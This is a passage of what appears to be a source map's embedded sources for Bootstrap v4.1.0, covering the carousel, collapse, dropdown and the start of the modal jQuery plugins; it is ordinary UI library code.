{\n ...Default,\n ...config\n }\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _addEventListeners() {\n if (this._config.keyboard) {\n $(this._element)\n .on(Event.KEYDOWN, (event) => this._keydown(event))\n }\n\n if (this._config.pause === 'hover') {\n $(this._element)\n .on(Event.MOUSEENTER, (event) => this.pause(event))\n .on(Event.MOUSELEAVE, (event) => this.cycle(event))\n if ('ontouchstart' in document.documentElement) {\n // If it's a touch-enabled device, mouseenter/leave are fired as\n // part of the mouse compatibility events on first tap - the carousel\n // would stop cycling until user tapped out of it;\n // here, we listen for touchend, explicitly pause the carousel\n // (as if it's the second time we tap on it, mouseenter compat event\n // is NOT fired) and after a timeout (to allow for mouse compatibility\n // events to fire) we explicitly restart cycling\n $(this._element).on(Event.TOUCHEND, () => {\n this.pause()\n if (this.touchTimeout) {\n clearTimeout(this.touchTimeout)\n }\n this.touchTimeout = setTimeout((event) => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n })\n }\n }\n }\n\n _keydown(event) {\n if (/input|textarea/i.test(event.target.tagName)) {\n return\n }\n\n switch (event.which) {\n case ARROW_LEFT_KEYCODE:\n event.preventDefault()\n this.prev()\n break\n case ARROW_RIGHT_KEYCODE:\n event.preventDefault()\n this.next()\n break\n default:\n }\n }\n\n _getItemIndex(element) {\n this._items = $.makeArray($(element).parent().find(Selector.ITEM))\n return this._items.indexOf(element)\n }\n\n _getItemByDirection(direction, activeElement) {\n const isNextDirection = direction === Direction.NEXT\n const isPrevDirection = direction === Direction.PREV\n const activeIndex = this._getItemIndex(activeElement)\n const lastItemIndex = this._items.length - 1\n const isGoingToWrap = isPrevDirection && activeIndex === 0 ||\n isNextDirection && activeIndex === lastItemIndex\n\n if (isGoingToWrap && !this._config.wrap) {\n return activeElement\n }\n\n const delta = direction === Direction.PREV ? -1 : 1\n const itemIndex = (activeIndex + delta) % this._items.length\n\n return itemIndex === -1\n ? this._items[this._items.length - 1] : this._items[itemIndex]\n }\n\n _triggerSlideEvent(relatedTarget, eventDirectionName) {\n const targetIndex = this._getItemIndex(relatedTarget)\n const fromIndex = this._getItemIndex($(this._element).find(Selector.ACTIVE_ITEM)[0])\n const slideEvent = $.Event(Event.SLIDE, {\n relatedTarget,\n direction: eventDirectionName,\n from: fromIndex,\n to: targetIndex\n })\n\n $(this._element).trigger(slideEvent)\n\n return slideEvent\n }\n\n _setActiveIndicatorElement(element) {\n if (this._indicatorsElement) {\n $(this._indicatorsElement)\n .find(Selector.ACTIVE)\n .removeClass(ClassName.ACTIVE)\n\n const nextIndicator = this._indicatorsElement.children[\n this._getItemIndex(element)\n ]\n\n if (nextIndicator) {\n $(nextIndicator).addClass(ClassName.ACTIVE)\n }\n }\n }\n\n _slide(direction, element) {\n const activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n const activeElementIndex = this._getItemIndex(activeElement)\n const nextElement = element || activeElement &&\n this._getItemByDirection(direction, activeElement)\n const nextElementIndex = this._getItemIndex(nextElement)\n const isCycling = Boolean(this._interval)\n\n let directionalClassName\n let orderClassName\n let eventDirectionName\n\n if (direction === Direction.NEXT) {\n directionalClassName = ClassName.LEFT\n orderClassName = ClassName.NEXT\n eventDirectionName = Direction.LEFT\n } else {\n directionalClassName = ClassName.RIGHT\n orderClassName = ClassName.PREV\n eventDirectionName = Direction.RIGHT\n }\n\n if (nextElement && $(nextElement).hasClass(ClassName.ACTIVE)) {\n this._isSliding = false\n return\n }\n\n const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName)\n if (slideEvent.isDefaultPrevented()) {\n return\n }\n\n if (!activeElement || !nextElement) {\n // Some weirdness is happening, so we bail\n return\n }\n\n this._isSliding = true\n\n if (isCycling) {\n this.pause()\n }\n\n this._setActiveIndicatorElement(nextElement)\n\n const slidEvent = $.Event(Event.SLID, {\n relatedTarget: nextElement,\n direction: eventDirectionName,\n from: activeElementIndex,\n to: nextElementIndex\n })\n\n if ($(this._element).hasClass(ClassName.SLIDE)) {\n $(nextElement).addClass(orderClassName)\n\n Util.reflow(nextElement)\n\n $(activeElement).addClass(directionalClassName)\n $(nextElement).addClass(directionalClassName)\n\n const transitionDuration = Util.getTransitionDurationFromElement(activeElement)\n\n $(activeElement)\n .one(Util.TRANSITION_END, () => {\n $(nextElement)\n .removeClass(`${directionalClassName} ${orderClassName}`)\n .addClass(ClassName.ACTIVE)\n\n $(activeElement).removeClass(`${ClassName.ACTIVE} ${orderClassName} ${directionalClassName}`)\n\n this._isSliding = false\n\n setTimeout(() => $(this._element).trigger(slidEvent), 0)\n })\n .emulateTransitionEnd(transitionDuration)\n } else {\n $(activeElement).removeClass(ClassName.ACTIVE)\n $(nextElement).addClass(ClassName.ACTIVE)\n\n this._isSliding = false\n $(this._element).trigger(slidEvent)\n }\n\n if (isCycling) {\n this.cycle()\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n let _config = {\n ...Default,\n ...$(this).data()\n }\n\n if (typeof config === 'object') {\n _config = {\n ..._config,\n ...config\n }\n }\n\n const action = typeof config === 'string' ? config : _config.slide\n\n if (!data) {\n data = new Carousel(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'number') {\n data.to(config)\n } else if (typeof action === 'string') {\n if (typeof data[action] === 'undefined') {\n throw new TypeError(`No method named \"${action}\"`)\n }\n data[action]()\n } else if (_config.interval) {\n data.pause()\n data.cycle()\n }\n })\n }\n\n static _dataApiClickHandler(event) {\n const selector = Util.getSelectorFromElement(this)\n\n if (!selector) {\n return\n }\n\n const target = $(selector)[0]\n\n if (!target || !$(target).hasClass(ClassName.CAROUSEL)) {\n return\n }\n\n const config = {\n ...$(target).data(),\n ...$(this).data()\n }\n const slideIndex = this.getAttribute('data-slide-to')\n\n if (slideIndex) {\n config.interval = false\n }\n\n Carousel._jQueryInterface.call($(target), config)\n\n if (slideIndex) {\n $(target).data(DATA_KEY).to(slideIndex)\n }\n\n event.preventDefault()\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler)\n\n $(window).on(Event.LOAD_DATA_API, () => {\n $(Selector.DATA_RIDE).each(function () {\n const $carousel = $(this)\n Carousel._jQueryInterface.call($carousel, $carousel.data())\n })\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Carousel._jQueryInterface\n $.fn[NAME].Constructor = Carousel\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Carousel._jQueryInterface\n }\n\n return Carousel\n})($)\n\nexport default Carousel\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Collapse = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'collapse'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.collapse'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Default = {\n toggle : true,\n parent : ''\n }\n\n const DefaultType = {\n toggle : 'boolean',\n parent : '(string|element)'\n }\n\n const Event = {\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n SHOW : 'show',\n COLLAPSE : 'collapse',\n COLLAPSING : 'collapsing',\n COLLAPSED : 'collapsed'\n }\n\n const Dimension = {\n WIDTH : 'width',\n HEIGHT : 'height'\n }\n\n const Selector = {\n ACTIVES : '.show, .collapsing',\n DATA_TOGGLE : '[data-toggle=\"collapse\"]'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Collapse {\n constructor(element, config) {\n this._isTransitioning = false\n this._element = element\n this._config = this._getConfig(config)\n this._triggerArray = $.makeArray($(\n `[data-toggle=\"collapse\"][href=\"#${element.id}\"],` +\n `[data-toggle=\"collapse\"][data-target=\"#${element.id}\"]`\n ))\n const tabToggles = $(Selector.DATA_TOGGLE)\n for (let i = 0; i < tabToggles.length; i++) {\n const elem = tabToggles[i]\n const selector = Util.getSelectorFromElement(elem)\n if (selector !== null && $(selector).filter(element).length > 0) {\n this._selector = selector\n this._triggerArray.push(elem)\n }\n }\n\n this._parent = this._config.parent ? this._getParent() : null\n\n if (!this._config.parent) {\n this._addAriaAndCollapsedClass(this._element, this._triggerArray)\n }\n\n if (this._config.toggle) {\n this.toggle()\n }\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n toggle() {\n if ($(this._element).hasClass(ClassName.SHOW)) {\n this.hide()\n } else {\n this.show()\n }\n }\n\n show() {\n if (this._isTransitioning ||\n $(this._element).hasClass(ClassName.SHOW)) {\n return\n }\n\n let actives\n let activesData\n\n if (this._parent) {\n actives = $.makeArray(\n $(this._parent)\n .find(Selector.ACTIVES)\n .filter(`[data-parent=\"${this._config.parent}\"]`)\n )\n if (actives.length === 0) {\n actives = null\n }\n }\n\n if (actives) {\n activesData = $(actives).not(this._selector).data(DATA_KEY)\n if (activesData && activesData._isTransitioning) {\n return\n }\n }\n\n const startEvent = $.Event(Event.SHOW)\n $(this._element).trigger(startEvent)\n if (startEvent.isDefaultPrevented()) {\n return\n }\n\n if (actives) {\n Collapse._jQueryInterface.call($(actives).not(this._selector), 'hide')\n if (!activesData) {\n $(actives).data(DATA_KEY, null)\n }\n }\n\n const dimension = this._getDimension()\n\n $(this._element)\n .removeClass(ClassName.COLLAPSE)\n .addClass(ClassName.COLLAPSING)\n\n this._element.style[dimension] = 0\n\n if (this._triggerArray.length > 0) {\n $(this._triggerArray)\n .removeClass(ClassName.COLLAPSED)\n .attr('aria-expanded', true)\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n $(this._element)\n .removeClass(ClassName.COLLAPSING)\n .addClass(ClassName.COLLAPSE)\n .addClass(ClassName.SHOW)\n\n this._element.style[dimension] = ''\n\n this.setTransitioning(false)\n\n $(this._element).trigger(Event.SHOWN)\n }\n\n const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1)\n const scrollSize = `scroll${capitalizedDimension}`\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n\n this._element.style[dimension] = `${this._element[scrollSize]}px`\n }\n\n hide() {\n if (this._isTransitioning ||\n !$(this._element).hasClass(ClassName.SHOW)) {\n return\n }\n\n const startEvent = $.Event(Event.HIDE)\n $(this._element).trigger(startEvent)\n if (startEvent.isDefaultPrevented()) {\n return\n }\n\n const dimension = this._getDimension()\n\n this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n Util.reflow(this._element)\n\n $(this._element)\n .addClass(ClassName.COLLAPSING)\n .removeClass(ClassName.COLLAPSE)\n .removeClass(ClassName.SHOW)\n\n if (this._triggerArray.length > 0) {\n for (let i = 0; i < this._triggerArray.length; i++) {\n const trigger = this._triggerArray[i]\n const selector = Util.getSelectorFromElement(trigger)\n if (selector !== null) {\n const $elem = $(selector)\n if (!$elem.hasClass(ClassName.SHOW)) {\n $(trigger).addClass(ClassName.COLLAPSED)\n .attr('aria-expanded', false)\n }\n }\n }\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n this.setTransitioning(false)\n $(this._element)\n .removeClass(ClassName.COLLAPSING)\n .addClass(ClassName.COLLAPSE)\n .trigger(Event.HIDDEN)\n }\n\n this._element.style[dimension] = ''\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n }\n\n setTransitioning(isTransitioning) {\n this._isTransitioning = isTransitioning\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n\n this._config = null\n this._parent = null\n this._element = null\n this._triggerArray = null\n this._isTransitioning = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n config.toggle = Boolean(config.toggle) // Coerce string values\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _getDimension() {\n const hasWidth = $(this._element).hasClass(Dimension.WIDTH)\n return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT\n }\n\n _getParent() {\n let parent = null\n if (Util.isElement(this._config.parent)) {\n parent = this._config.parent\n\n // It's a jQuery object\n if (typeof this._config.parent.jquery !== 'undefined') {\n parent = this._config.parent[0]\n }\n } else {\n parent = $(this._config.parent)[0]\n }\n\n const selector =\n `[data-toggle=\"collapse\"][data-parent=\"${this._config.parent}\"]`\n\n $(parent).find(selector).each((i, element) => {\n this._addAriaAndCollapsedClass(\n Collapse._getTargetFromElement(element),\n [element]\n )\n })\n\n return parent\n }\n\n _addAriaAndCollapsedClass(element, triggerArray) {\n if (element) {\n const isOpen = $(element).hasClass(ClassName.SHOW)\n\n if (triggerArray.length > 0) {\n $(triggerArray)\n .toggleClass(ClassName.COLLAPSED, !isOpen)\n .attr('aria-expanded', isOpen)\n }\n }\n }\n\n // Static\n\n static _getTargetFromElement(element) {\n const selector = Util.getSelectorFromElement(element)\n return selector ? $(selector)[0] : null\n }\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $this = $(this)\n let data = $this.data(DATA_KEY)\n const _config = {\n ...Default,\n ...$this.data(),\n ...typeof config === 'object' && config\n }\n\n if (!data && _config.toggle && /show|hide/.test(config)) {\n _config.toggle = false\n }\n\n if (!data) {\n data = new Collapse(this, _config)\n $this.data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n // preventDefault only for <a> elements (which change the URL) not inside the collapsible element\n if (event.currentTarget.tagName === 'A') {\n event.preventDefault()\n }\n\n const $trigger = $(this)\n const selector = Util.getSelectorFromElement(this)\n $(selector).each(function () {\n const $target = $(this)\n const data = $target.data(DATA_KEY)\n const config = data ? 'toggle' : $trigger.data()\n Collapse._jQueryInterface.call($target, config)\n })\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Collapse._jQueryInterface\n $.fn[NAME].Constructor = Collapse\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Collapse._jQueryInterface\n }\n\n return Collapse\n})($)\n\nexport default Collapse\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Dropdown = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'dropdown'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.dropdown'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ESCAPE_KEYCODE = 27 // KeyboardEvent.which value for Escape (Esc) key\n const SPACE_KEYCODE = 32 // KeyboardEvent.which value for space key\n const TAB_KEYCODE = 9 // KeyboardEvent.which value for tab key\n const ARROW_UP_KEYCODE = 38 // KeyboardEvent.which value for up arrow key\n const ARROW_DOWN_KEYCODE = 40 // KeyboardEvent.which value for down arrow key\n const RIGHT_MOUSE_BUTTON_WHICH = 3 // MouseEvent.which value for the right button (assuming a right-handed mouse)\n const REGEXP_KEYDOWN = new RegExp(`${ARROW_UP_KEYCODE}|${ARROW_DOWN_KEYCODE}|${ESCAPE_KEYCODE}`)\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`,\n KEYDOWN_DATA_API : `keydown${EVENT_KEY}${DATA_API_KEY}`,\n KEYUP_DATA_API : `keyup${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DISABLED : 'disabled',\n SHOW : 'show',\n DROPUP : 'dropup',\n DROPRIGHT : 'dropright',\n DROPLEFT : 'dropleft',\n MENURIGHT : 'dropdown-menu-right',\n MENULEFT : 'dropdown-menu-left',\n POSITION_STATIC : 'position-static'\n }\n\n const Selector = {\n DATA_TOGGLE : '[data-toggle=\"dropdown\"]',\n FORM_CHILD : '.dropdown form',\n MENU : '.dropdown-menu',\n NAVBAR_NAV : '.navbar-nav',\n VISIBLE_ITEMS : '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n }\n\n const AttachmentMap = {\n TOP : 'top-start',\n TOPEND : 'top-end',\n BOTTOM : 'bottom-start',\n BOTTOMEND : 'bottom-end',\n RIGHT : 'right-start',\n RIGHTEND : 'right-end',\n LEFT : 'left-start',\n LEFTEND : 'left-end'\n }\n\n const Default = {\n offset : 0,\n flip : true,\n boundary : 'scrollParent',\n reference : 'toggle',\n display : 'dynamic'\n }\n\n const DefaultType = {\n offset : '(number|string|function)',\n flip : 'boolean',\n boundary : '(string|element)',\n reference : '(string|element)',\n display : 'string'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Dropdown {\n constructor(element, config) {\n this._element = element\n this._popper = null\n this._config = this._getConfig(config)\n this._menu = this._getMenuElement()\n this._inNavbar = this._detectNavbar()\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n toggle() {\n if (this._element.disabled || $(this._element).hasClass(ClassName.DISABLED)) {\n return\n }\n\n const parent = Dropdown._getParentFromElement(this._element)\n const isActive = $(this._menu).hasClass(ClassName.SHOW)\n\n Dropdown._clearMenus()\n\n if (isActive) {\n return\n }\n\n const relatedTarget = {\n relatedTarget: this._element\n }\n const showEvent = $.Event(Event.SHOW, relatedTarget)\n\n $(parent).trigger(showEvent)\n\n if (showEvent.isDefaultPrevented()) {\n return\n }\n\n // Disable totally Popper.js for Dropdown in Navbar\n if (!this._inNavbar) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)')\n }\n\n let referenceElement = this._element\n\n if (this._config.reference === 'parent') {\n referenceElement = parent\n } else if (Util.isElement(this._config.reference)) {\n referenceElement = this._config.reference\n\n // Check if it's jQuery element\n if (typeof this._config.reference.jquery !== 'undefined') {\n referenceElement = this._config.reference[0]\n }\n }\n\n // If boundary is not `scrollParent`, then set position to `static`\n // to allow the menu to \"escape\" the scroll parent's boundaries\n // https://github.com/twbs/bootstrap/issues/24251\n if (this._config.boundary !== 'scrollParent') {\n $(parent).addClass(ClassName.POSITION_STATIC)\n }\n this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig())\n }\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement &&\n $(parent).closest(Selector.NAVBAR_NAV).length === 0) {\n $(document.body).children().on('mouseover', null, $.noop)\n }\n\n this._element.focus()\n this._element.setAttribute('aria-expanded', true)\n\n $(this._menu).toggleClass(ClassName.SHOW)\n $(parent)\n .toggleClass(ClassName.SHOW)\n .trigger($.Event(Event.SHOWN, relatedTarget))\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n $(this._element).off(EVENT_KEY)\n this._element = null\n this._menu = null\n if (this._popper !== null) {\n this._popper.destroy()\n this._popper = null\n }\n }\n\n update() {\n this._inNavbar = this._detectNavbar()\n if (this._popper !== null) {\n this._popper.scheduleUpdate()\n }\n }\n\n // Private\n\n _addEventListeners() {\n $(this._element).on(Event.CLICK, (event) => {\n event.preventDefault()\n event.stopPropagation()\n this.toggle()\n })\n }\n\n _getConfig(config) {\n config = {\n ...this.constructor.Default,\n ...$(this._element).data(),\n ...config\n }\n\n Util.typeCheckConfig(\n NAME,\n config,\n this.constructor.DefaultType\n )\n\n return config\n }\n\n _getMenuElement() {\n if (!this._menu) {\n const parent = Dropdown._getParentFromElement(this._element)\n this._menu = $(parent).find(Selector.MENU)[0]\n }\n return this._menu\n }\n\n _getPlacement() {\n const $parentDropdown = $(this._element).parent()\n let placement = AttachmentMap.BOTTOM\n\n // Handle dropup\n if ($parentDropdown.hasClass(ClassName.DROPUP)) {\n placement = AttachmentMap.TOP\n if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n placement = AttachmentMap.TOPEND\n }\n } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {\n placement = AttachmentMap.RIGHT\n } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {\n placement = AttachmentMap.LEFT\n } else if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n placement = AttachmentMap.BOTTOMEND\n }\n return placement\n }\n\n _detectNavbar() {\n return $(this._element).closest('.navbar').length > 0\n }\n\n _getPopperConfig() {\n const offsetConf = {}\n if (typeof this._config.offset === 'function') {\n offsetConf.fn = (data) => {\n data.offsets = {\n ...data.offsets,\n ...this._config.offset(data.offsets) || {}\n }\n return data\n }\n } else {\n offsetConf.offset = this._config.offset\n }\n const popperConfig = {\n placement: this._getPlacement(),\n modifiers: {\n offset: offsetConf,\n flip: {\n enabled: this._config.flip\n },\n preventOverflow: {\n boundariesElement: this._config.boundary\n }\n }\n }\n\n // Disable Popper.js if we have a static display\n if (this._config.display === 'static') {\n popperConfig.modifiers.applyStyle = {\n enabled: false\n }\n }\n return popperConfig\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data) {\n data = new Dropdown(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n\n static _clearMenus(event) {\n if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH ||\n event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n return\n }\n\n const toggles = $.makeArray($(Selector.DATA_TOGGLE))\n for (let i = 0; i < toggles.length; i++) {\n const parent = Dropdown._getParentFromElement(toggles[i])\n const context = $(toggles[i]).data(DATA_KEY)\n const relatedTarget = {\n relatedTarget: toggles[i]\n }\n\n if (!context) {\n continue\n }\n\n const dropdownMenu = context._menu\n if (!$(parent).hasClass(ClassName.SHOW)) {\n continue\n }\n\n if (event && (event.type === 'click' &&\n /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) &&\n $.contains(parent, event.target)) {\n continue\n }\n\n const hideEvent = $.Event(Event.HIDE, relatedTarget)\n $(parent).trigger(hideEvent)\n if (hideEvent.isDefaultPrevented()) {\n continue\n }\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().off('mouseover', null, $.noop)\n }\n\n toggles[i].setAttribute('aria-expanded', 'false')\n\n $(dropdownMenu).removeClass(ClassName.SHOW)\n $(parent)\n .removeClass(ClassName.SHOW)\n .trigger($.Event(Event.HIDDEN, relatedTarget))\n }\n }\n\n static _getParentFromElement(element) {\n let parent\n const selector = Util.getSelectorFromElement(element)\n\n if (selector) {\n parent = $(selector)[0]\n }\n\n return parent || element.parentNode\n }\n\n // eslint-disable-next-line complexity\n static _dataApiKeydownHandler(event) {\n // If not input/textarea:\n // - And not a key in REGEXP_KEYDOWN => not a dropdown command\n // If input/textarea:\n // - If space key => not a dropdown command\n // - If key is other than escape\n // - If key is not up or down => not a dropdown command\n // - If trigger inside the menu => not a dropdown command\n if (/input|textarea/i.test(event.target.tagName)\n ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE &&\n (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE ||\n $(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {\n return\n }\n\n event.preventDefault()\n event.stopPropagation()\n\n if (this.disabled || $(this).hasClass(ClassName.DISABLED)) {\n return\n }\n\n const parent = Dropdown._getParentFromElement(this)\n const isActive = $(parent).hasClass(ClassName.SHOW)\n\n if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) ||\n isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n if (event.which === ESCAPE_KEYCODE) {\n const toggle = $(parent).find(Selector.DATA_TOGGLE)[0]\n $(toggle).trigger('focus')\n }\n\n $(this).trigger('click')\n return\n }\n\n const items = $(parent).find(Selector.VISIBLE_ITEMS).get()\n\n if (items.length === 0) {\n return\n }\n\n let index = items.indexOf(event.target)\n\n if (event.which === ARROW_UP_KEYCODE && index > 0) { // Up\n index--\n }\n\n if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { // Down\n index++\n }\n\n if (index < 0) {\n index = 0\n }\n\n items[index].focus()\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler)\n .on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler)\n .on(`${Event.CLICK_DATA_API} ${Event.KEYUP_DATA_API}`, Dropdown._clearMenus)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n event.preventDefault()\n event.stopPropagation()\n Dropdown._jQueryInterface.call($(this), 'toggle')\n })\n .on(Event.CLICK_DATA_API, Selector.FORM_CHILD, (e) => {\n e.stopPropagation()\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Dropdown._jQueryInterface\n $.fn[NAME].Constructor = Dropdown\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Dropdown._jQueryInterface\n }\n\n return Dropdown\n})($, Popper)\n\nexport default Dropdown\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Modal = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'modal'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.modal'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ESCAPE_KEYCODE = 27 // KeyboardEvent.which value for Escape (Esc) key\n\n const Default = {\n backdrop : true,\n keyboard : true,\n focus : true,\n show : true\n }\n\n const DefaultType = {\n backdrop : '(boolean|string)',\n keyboard : 'boolean',\n focus : 'boolean',\n show : 'boolean'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n RESIZE : `resize${EVENT_KEY}`,\n CLICK_DISMISS : `click.dismiss${EVENT_KEY}`,\n KEYDOWN_DISMISS : `keydown.dismiss${EVENT_KEY}`,\n MOUSEUP_DISMISS : `mouseup.dismiss${EVENT_KEY}`,\n MOUSEDOWN_DISMISS : `mousedown.dismiss${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n SCROLLBAR_MEASURER : 'modal-scrollbar-measure',\n BACKDROP : 'modal-backdrop',\n OPEN : 'modal-open',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n DIALOG : '.modal-dialog',\n DATA_TOGGLE : '[data-toggle=\"modal\"]',\n DATA_DISMISS : '[data-dismiss=\"modal\"]',\n FIXED_CONTENT : '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',\n STICKY_CONTENT : '.sticky-top',\n NAVBAR_TOGGLER : '.navbar-toggler'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Modal {\n constructor(element, config) {\n this._config = this._getConfig(config)\n this._element = element\n this._dialog = $(element).find(Selector.DIALOG)[0]\n this._backdrop = null\n this._isShown = false\n this._isBodyOverflowing = false\n this._ignoreBackdropClick = false\n 